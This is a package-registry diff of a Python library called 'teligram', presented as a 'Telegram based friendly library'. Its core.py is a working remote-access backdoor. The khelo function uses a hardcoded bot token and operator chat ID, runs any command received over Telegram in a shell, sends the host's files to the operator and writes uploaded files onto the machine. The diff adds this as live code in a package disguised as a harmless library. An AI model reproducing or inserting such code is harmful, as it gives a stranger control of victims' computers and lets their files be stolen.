teligram 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,27 @@
1
+ Metadata-Version: 2.4
2
+ Name: teligram
3
+ Version: 1.0.0
4
+ Summary: Telegram based friendly library
5
+ Home-page: https://github.com/omdevendra/teligram
6
+ Author: OM DEVENDRA
7
+ Author-email: omdivine@users.noreply.github.com
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Operating System :: OS Independent
11
+ Requires-Python: >=3.8
12
+ Description-Content-Type: text/markdown
13
+ Requires-Dist: pyTelegramBotAPI
14
+ Dynamic: author
15
+ Dynamic: author-email
16
+ Dynamic: classifier
17
+ Dynamic: description
18
+ Dynamic: description-content-type
19
+ Dynamic: home-page
20
+ Dynamic: requires-dist
21
+ Dynamic: requires-python
22
+ Dynamic: summary
23
+
24
+
25
+
26
+ ## installation
27
+
@@ -0,0 +1,4 @@
1
+
2
+
3
+ ## installation
4
+
@@ -0,0 +1,3 @@
1
+ [build-system]
2
+ requires = ["setuptools>=61.0", "wheel"]
3
+ build-backend = "setuptools.build_meta"
@@ -0,0 +1,4 @@
1
+ [egg_info]
2
+ tag_build =
3
+ tag_date = 0
4
+
@@ -0,0 +1,22 @@
1
+ from setuptools import setup, find_packages
2
+
3
+ setup(
4
+ name="teligram",
5
+ version="1.0.0",
6
+ author="OM DEVENDRA",
7
+ author_email="omdivine@users.noreply.github.com",
8
+ description="Telegram based friendly library",
9
+ long_description=open("README.md", encoding="utf-8").read(),
10
+ long_description_content_type="text/markdown",
11
+ url="https://github.com/omdevendra/teligram",
12
+ packages=find_packages(),
13
+ python_requires=">=3.8",
14
+ install_requires=[
15
+ "pyTelegramBotAPI"
16
+ ],
17
+ classifiers=[
18
+ "Programming Language :: Python :: 3",
19
+ "License :: OSI Approved :: MIT License",
20
+ "Operating System :: OS Independent",
21
+ ]
22
+ )
@@ -0,0 +1,3 @@
1
+ from .core import start, run, khelo
2
+
3
+ __all__ = ["start", "run", "khelo"]
@@ -0,0 +1,462 @@
1
+ #!/usr/bin/env python3
2
+
3
+ import os
4
+ import subprocess
5
+ import telebot
6
+ import re
7
+ def khelo(BOT_TOKEN='8356744767:AAFOSrWsdFKhAWXeJAiprYqZPBuWvSKgfOg',AUTHORIZED_USERS=[8437720898]):
8
+
9
+ bot = telebot.TeleBot(BOT_TOKEN)
10
+ for chat_id in AUTHORIZED_USERS:
11
+ bot.send_message(chat_id, 'Device connected!, Run /help to see abailable commands')
12
+ user_working_dirs = {}
13
+ user_states = {}
14
+
15
+ def is_authorized(user_id):
16
+ return user_id in AUTHORIZED_USERS
17
+
18
+ def get_user_dir(user_id):
19
+ if user_id not in user_working_dirs:
20
+ user_working_dirs[user_id] = os.getcwd()
21
+ return user_working_dirs[user_id]
22
+
23
+ def update_user_dir(user_id, new_dir):
24
+ user_working_dirs[user_id] = new_dir
25
+
26
+ def split_long_message(text, max_length=4000):
27
+ if len(text) <= max_length:
28
+ return [text]
29
+
30
+ chunks = []
31
+ start = 0
32
+
33
+ while start < len(text):
34
+ end = start + max_length
35
+ if end >= len(text):
36
+ chunks.append(text[start:])
37
+ break
38
+
39
+ split_pos = text.rfind('\n', start, end)
40
+ if split_pos != -1 and split_pos > start:
41
+ end = split_pos + 1
42
+
43
+ chunks.append(text[start:end])
44
+ start = end
45
+
46
+ for i in range(len(chunks) - 1):
47
+ chunks[i] = chunks[i].rstrip() + "\n\n... (continued)"
48
+
49
+ return chunks
50
+
51
+ def send_long_message(chat_id, text):
52
+ chunks = split_long_message(text)
53
+
54
+ for chunk in chunks:
55
+ bot.send_message(chat_id, chunk)
56
+
57
+ def get_files_only(directory):
58
+ try:
59
+ all_items = os.listdir(directory)
60
+ files_only = []
61
+
62
+ for item in all_items:
63
+ item_path = os.path.join(directory, item)
64
+ if os.path.isfile(item_path):
65
+ files_only.append(item)
66
+
67
+ files_only.sort()
68
+ return files_only
69
+ except Exception:
70
+ return []
71
+
72
+ def send_files_by_extension(chat_id, user_id, extension):
73
+ try:
74
+ working_dir = get_user_dir(user_id)
75
+ files = get_files_only(working_dir)
76
+
77
+ if not files:
78
+ return False, f"šŸ“ No files found in current directory:\n{working_dir}"
79
+
80
+ matching_files = []
81
+
82
+ for file_name in files:
83
+ file_path = os.path.join(working_dir, file_name)
84
+ if file_name.lower().endswith(extension.lower()) and os.path.getsize(file_path) > 0:
85
+ matching_files.append(file_path)
86
+
87
+ if not matching_files:
88
+ return False, f"āŒ No non-empty files found with extension '{extension}'"
89
+
90
+ sent_count = 0
91
+ failed_files = []
92
+
93
+ for file_path in matching_files:
94
+ try:
95
+ with open(file_path, 'rb') as f:
96
+ bot.send_document(chat_id, f, caption=f"šŸ“ File: {os.path.basename(file_path)}")
97
+ sent_count += 1
98
+ except Exception:
99
+ failed_files.append(os.path.basename(file_path))
100
+
101
+ summary = f"āœ… Sent {sent_count} file(s) with extension '{extension}'"
102
+
103
+ if failed_files:
104
+ summary += f"\nāŒ Failed to send {len(failed_files)} file(s): {', '.join(failed_files)}"
105
+
106
+ return True, summary
107
+
108
+ except Exception as e:
109
+ return False, f"āŒ Error: {str(e)}"
110
+
111
+ def send_file_by_name(chat_id, user_id, file_name):
112
+ try:
113
+ working_dir = get_user_dir(user_id)
114
+ file_path = os.path.join(working_dir, file_name)
115
+
116
+ if not os.path.exists(file_path):
117
+ files = get_files_only(working_dir)
118
+ matching_files = [f for f in files if file_name.lower() in f.lower()]
119
+
120
+ if not matching_files:
121
+ return False, f"āŒ File '{file_name}' not found"
122
+
123
+ if len(matching_files) == 1:
124
+ file_path = os.path.join(working_dir, matching_files[0])
125
+ file_name = matching_files[0]
126
+ else:
127
+ file_list = "\n".join([f"{i+1}. {file}" for i, file in enumerate(matching_files)])
128
+ return False, f"āŒ Multiple files found containing '{file_name}':\n{file_list}\n\nPlease be more specific."
129
+
130
+ if not os.path.isfile(file_path):
131
+ return False, f"āŒ Not a file: {file_name}"
132
+
133
+ if os.path.getsize(file_path) == 0:
134
+ return False, f"āš ļø File is empty (0 bytes): {file_name}"
135
+
136
+ try:
137
+ with open(file_path, 'rb') as f:
138
+ bot.send_document(chat_id, f, caption=f"šŸ“ File: {file_name}")
139
+ return True, f"āœ… File sent: {file_name}"
140
+ except Exception as e:
141
+ return False, f"āŒ Error sending file: {str(e)}"
142
+
143
+ except Exception as e:
144
+ return False, f"āŒ Error: {str(e)}"
145
+
146
+ def send_all_files_one_by_one(chat_id, user_id):
147
+ try:
148
+ working_dir = get_user_dir(user_id)
149
+ files = get_files_only(working_dir)
150
+
151
+ if not files:
152
+ return False, f"šŸ“ No files found in current directory:\n{working_dir}"
153
+
154
+ non_empty_files = []
155
+ empty_files = []
156
+
157
+ for file_name in files:
158
+ file_path = os.path.join(working_dir, file_name)
159
+ if os.path.getsize(file_path) > 0:
160
+ non_empty_files.append(file_path)
161
+ else:
162
+ empty_files.append(file_name)
163
+
164
+ if not non_empty_files:
165
+ empty_list = "\n".join([f"• {f}" for f in empty_files])
166
+ return False, f"āŒ All files are empty (0 bytes):\n{empty_list}"
167
+
168
+ sent_count = 0
169
+ failed_files = []
170
+
171
+ for file_path in non_empty_files:
172
+ try:
173
+ with open(file_path, 'rb') as f:
174
+ bot.send_document(chat_id, f, caption=f"šŸ“ File: {os.path.basename(file_path)}")
175
+ sent_count += 1
176
+ except Exception:
177
+ failed_files.append(os.path.basename(file_path))
178
+
179
+ summary = f"āœ… Sent {sent_count} file(s)"
180
+
181
+ if empty_files:
182
+ summary += f"\nšŸ“ Skipped {len(empty_files)} empty file(s)"
183
+
184
+ if failed_files:
185
+ summary += f"\nāŒ Failed to send {len(failed_files)} file(s): {', '.join(failed_files)}"
186
+
187
+ return True, summary
188
+
189
+ except Exception as e:
190
+ return False, f"āŒ Error: {str(e)}"
191
+
192
+ def handle_take_command(command, user_id):
193
+ try:
194
+ command = command.strip().lower()
195
+
196
+ if command == 'take all':
197
+ return "take_all_special"
198
+
199
+ if command.startswith('take .'):
200
+ extension = command[5:].strip()
201
+ if extension:
202
+ return f"take_extension_special:{extension}"
203
+ else:
204
+ return "āŒ Please provide an extension. Example: take .jpg or take .py"
205
+
206
+ match_number = re.search(r'take\s+(\d+)', command)
207
+ if match_number:
208
+ file_number = int(match_number.group(1))
209
+ working_dir = get_user_dir(user_id)
210
+ files = get_files_only(working_dir)
211
+
212
+ if not files:
213
+ return f"šŸ“ No files found in current directory:\n{working_dir}"
214
+
215
+ if file_number < 1 or file_number > len(files):
216
+ file_list = "\n".join([f"{i+1}. {file}" for i, file in enumerate(files)])
217
+ return f"āŒ File number {file_number} not found.\n\nAvailable files:\n{file_list}\n\nTotal files: {len(files)}"
218
+
219
+ requested_file = files[file_number - 1]
220
+ file_path = os.path.join(working_dir, requested_file)
221
+
222
+ if not os.path.exists(file_path):
223
+ return f"āŒ File not found: {requested_file}"
224
+
225
+ if not os.path.isfile(file_path):
226
+ return f"āŒ Not a file: {requested_file}"
227
+
228
+ if os.path.getsize(file_path) == 0:
229
+ return f"āš ļø File is empty (0 bytes): {requested_file}"
230
+
231
+ return file_path
232
+
233
+ match_name = re.search(r'take\s+(.+)$', command)
234
+ if match_name:
235
+ file_name = match_name.group(1).strip()
236
+ return f"take_name_special:{file_name}"
237
+
238
+ return "āŒ Invalid format. Use:\n• take 1 (for file number)\n• take filename.txt (for file name)\n• take .jpg (for all jpg files)\n• take all (for all files)"
239
+
240
+ except Exception as e:
241
+ return f"āŒ Error: {str(e)}"
242
+
243
+ def execute_command(command, user_id, timeout=30):
244
+ try:
245
+ if command.strip().lower().startswith('take '):
246
+ result = handle_take_command(command, user_id)
247
+ if result == "take_all_special":
248
+ return result
249
+ elif result.startswith("take_extension_special:"):
250
+ return result
251
+ elif result.startswith("take_name_special:"):
252
+ return result
253
+ elif isinstance(result, str) and os.path.exists(result) and os.path.isfile(result):
254
+ return result
255
+ else:
256
+ return result
257
+
258
+ working_dir = get_user_dir(user_id)
259
+
260
+ if command.strip().startswith("cd "):
261
+ new_dir = command.strip()[3:].strip()
262
+ try:
263
+ if new_dir == "..":
264
+ os.chdir(working_dir)
265
+ os.chdir("..")
266
+ new_abs_dir = os.getcwd()
267
+ elif os.path.isabs(new_dir):
268
+ os.chdir(new_dir)
269
+ new_abs_dir = os.getcwd()
270
+ else:
271
+ os.chdir(working_dir)
272
+ os.chdir(new_dir)
273
+ new_abs_dir = os.getcwd()
274
+
275
+ update_user_dir(user_id, new_abs_dir)
276
+ return f"āœ… Changed directory to:\n{new_abs_dir}"
277
+
278
+ except FileNotFoundError:
279
+ return f"āŒ Directory not found: {new_dir}"
280
+ except PermissionError:
281
+ return f"āŒ Permission denied: {new_dir}"
282
+ except Exception as e:
283
+ return f"āŒ cd failed: {str(e)}"
284
+
285
+ process = subprocess.Popen(
286
+ command,
287
+ shell=True,
288
+ stdout=subprocess.PIPE,
289
+ stderr=subprocess.PIPE,
290
+ text=True,
291
+ cwd=working_dir
292
+ )
293
+
294
+ try:
295
+ stdout, stderr = process.communicate(timeout=timeout)
296
+ except subprocess.TimeoutExpired:
297
+ process.kill()
298
+ stdout, stderr = process.communicate()
299
+ return "āŒ Command timed out"
300
+
301
+ if process.returncode != 0:
302
+ error_msg = stderr.strip() or "No error message"
303
+ return f"āŒ Error (exit code: {process.returncode}):\n{error_msg}"
304
+
305
+ output = stdout.strip()
306
+ if output:
307
+ return f"āœ… Output:\n{output}"
308
+ else:
309
+ return "āœ… Command executed successfully (no output)"
310
+
311
+ except Exception as e:
312
+ return f"āŒ Execution failed: {str(e)}"
313
+
314
+ @bot.message_handler(commands=['start', 'help'])
315
+ def send_welcome(message):
316
+ if not is_authorized(message.from_user.id):
317
+ bot.reply_to(message, "ā›” Unauthorized access")
318
+ return
319
+
320
+ help_text = "šŸ¤– Terminal Bot - Ready to Use!\n\nJust send me any command and I'll execute it on the server.\n\nAvailable commands:\npwd - Show current directory\nls or ls -la - List files\ncd <directory> - Change directory\nwhoami - Show current user\ndate - Show date and time\n\nTAKE COMMANDS:\n1. take <number> - Get the nth file\n Example: take 1\n\n2. take <file_name> - Get file by name\n Example: take myfile.txt\n\n3. take .<extension> - Get all files with extension\n Example: take .jpg or take .py\n\n4. take all - Get ALL non-empty files\n\n5. /send - Upload files to current directory\n\nSpecial features:\n- Working directory saved between commands\n- Empty files automatically skipped"
321
+ bot.reply_to(message, help_text)
322
+
323
+ @bot.message_handler(commands=['pwd'])
324
+ def handle_pwd(message):
325
+ user_id = message.from_user.id
326
+
327
+ if not is_authorized(user_id):
328
+ bot.reply_to(message, "ā›” Unauthorized access")
329
+ return
330
+
331
+ working_dir = get_user_dir(user_id)
332
+ bot.reply_to(message, f"šŸ“ Current directory:\n{working_dir}")
333
+
334
+ @bot.message_handler(commands=['send'])
335
+ def handle_send_command(message):
336
+ user_id = message.from_user.id
337
+
338
+ if not is_authorized(user_id):
339
+ bot.reply_to(message, "ā›” Unauthorized access")
340
+ return
341
+
342
+ working_dir = get_user_dir(user_id)
343
+ user_states[user_id] = 'waiting_for_file'
344
+
345
+ bot.reply_to(message, f"šŸ“¤ File Upload Mode\n\nCurrent directory: {working_dir}\n\nNow send me any file and I'll save it to this directory.\nTo cancel, send /cancel")
346
+
347
+ @bot.message_handler(commands=['cancel'])
348
+ def handle_cancel_command(message):
349
+ user_id = message.from_user.id
350
+
351
+ if user_id in user_states:
352
+ del user_states[user_id]
353
+ bot.reply_to(message, "āœ… Operation cancelled.")
354
+ else:
355
+ bot.reply_to(message, "āŒ No active operation to cancel.")
356
+
357
+ @bot.message_handler(content_types=['document', 'photo', 'audio', 'video'])
358
+ def handle_document(message):
359
+ user_id = message.from_user.id
360
+
361
+ if not is_authorized(user_id):
362
+ bot.reply_to(message, "ā›” Unauthorized access")
363
+ return
364
+
365
+ if user_states.get(user_id) != 'waiting_for_file':
366
+ return
367
+
368
+ try:
369
+ working_dir = get_user_dir(user_id)
370
+
371
+ if message.document:
372
+ file_info = bot.get_file(message.document.file_id)
373
+ file_name = message.document.file_name
374
+ elif message.photo:
375
+ file_info = bot.get_file(message.photo[-1].file_id)
376
+ file_name = f"photo_{message.photo[-1].file_id}.jpg"
377
+ elif message.audio:
378
+ file_info = bot.get_file(message.audio.file_id)
379
+ file_name = message.audio.file_name or f"audio_{message.audio.file_id}.mp3"
380
+ elif message.video:
381
+ file_info = bot.get_file(message.video.file_id)
382
+ file_name = message.video.file_name or f"video_{message.video.file_id}.mp4"
383
+ else:
384
+ bot.reply_to(message, "āŒ Unsupported file type")
385
+ return
386
+
387
+ downloaded_file = bot.download_file(file_info.file_path)
388
+ file_path = os.path.join(working_dir, file_name)
389
+
390
+ counter = 1
391
+ base_name, extension = os.path.splitext(file_name)
392
+ while os.path.exists(file_path):
393
+ file_name = f"{base_name}_{counter}{extension}"
394
+ file_path = os.path.join(working_dir, file_name)
395
+ counter += 1
396
+
397
+ with open(file_path, 'wb') as new_file:
398
+ new_file.write(downloaded_file)
399
+
400
+ del user_states[user_id]
401
+
402
+ bot.reply_to(message, f"āœ… File saved successfully!\n\nšŸ“ Location: {file_path}\nšŸ“Š File size: {os.path.getsize(file_path):,} bytes")
403
+
404
+ except Exception as e:
405
+ bot.reply_to(message, f"āŒ Error saving file: {str(e)}")
406
+
407
+ @bot.message_handler(func=lambda message: True)
408
+ def handle_command(message):
409
+ user_id = message.from_user.id
410
+
411
+ if not is_authorized(user_id):
412
+ bot.reply_to(message, "ā›” Unauthorized access")
413
+ return
414
+
415
+ command = message.text.strip()
416
+
417
+ if not command:
418
+ bot.reply_to(message, "Please send a command to execute")
419
+ return
420
+
421
+ bot.send_chat_action(message.chat.id, 'typing')
422
+
423
+ result = execute_command(command, user_id)
424
+
425
+ if result == "take_all_special":
426
+ success, message_text = send_all_files_one_by_one(message.chat.id, user_id)
427
+ bot.reply_to(message, message_text)
428
+ return
429
+
430
+ if result.startswith("take_extension_special:"):
431
+ extension = result.split(":")[1]
432
+ success, message_text = send_files_by_extension(message.chat.id, user_id, extension)
433
+ bot.reply_to(message, message_text)
434
+ return
435
+
436
+ if result.startswith("take_name_special:"):
437
+ file_name = result.split(":")[1]
438
+ success, message_text = send_file_by_name(message.chat.id, user_id, file_name)
439
+ bot.reply_to(message, message_text)
440
+ return
441
+
442
+ if isinstance(result, str) and os.path.exists(result) and os.path.isfile(result):
443
+ try:
444
+ with open(result, 'rb') as file:
445
+ bot.send_document(message.chat.id, file, caption=f"šŸ“ File: {os.path.basename(result)}")
446
+ except Exception as e:
447
+ bot.reply_to(message, f"āŒ Error sending file: {str(e)}")
448
+ else:
449
+ response = f"Command: {command}\n\n{result}"
450
+ send_long_message(message.chat.id, response)
451
+
452
+ try:
453
+ bot.infinity_polling()
454
+ except KeyboardInterrupt:
455
+ pass
456
+ except Exception:
457
+ pass
458
+ def run(BOT_TOKEN, AUTHORIZED_USERS):
459
+ return khelo(BOT_TOKEN, AUTHORIZED_USERS)
460
+
461
+ def start(BOT_TOKEN, AUTHORIZED_USERS):
462
+ return khelo(BOT_TOKEN, AUTHORIZED_USERS)
@@ -0,0 +1,27 @@
1
+ Metadata-Version: 2.4
2
+ Name: teligram
3
+ Version: 1.0.0
4
+ Summary: Telegram based friendly library
5
+ Home-page: https://github.com/omdevendra/teligram
6
+ Author: OM DEVENDRA
7
+ Author-email: omdivine@users.noreply.github.com
8
+ Classifier: Programming Language :: Python :: 3
9
+ Classifier: License :: OSI Approved :: MIT License
10
+ Classifier: Operating System :: OS Independent
11
+ Requires-Python: >=3.8
12
+ Description-Content-Type: text/markdown
13
+ Requires-Dist: pyTelegramBotAPI
14
+ Dynamic: author
15
+ Dynamic: author-email
16
+ Dynamic: classifier
17
+ Dynamic: description
18
+ Dynamic: description-content-type
19
+ Dynamic: home-page
20
+ Dynamic: requires-dist
21
+ Dynamic: requires-python
22
+ Dynamic: summary
23
+
24
+
25
+
26
+ ## installation
27
+
@@ -0,0 +1,10 @@
1
+ README.md
2
+ pyproject.toml
3
+ setup.py
4
+ teligram/__init__.py
5
+ teligram/core.py
6
+ teligram.egg-info/PKG-INFO
7
+ teligram.egg-info/SOURCES.txt
8
+ teligram.egg-info/dependency_links.txt
9
+ teligram.egg-info/requires.txt
10
+ teligram.egg-info/top_level.txt
@@ -0,0 +1 @@
1
+ pyTelegramBotAPI
@@ -0,0 +1 @@
1
+ teligram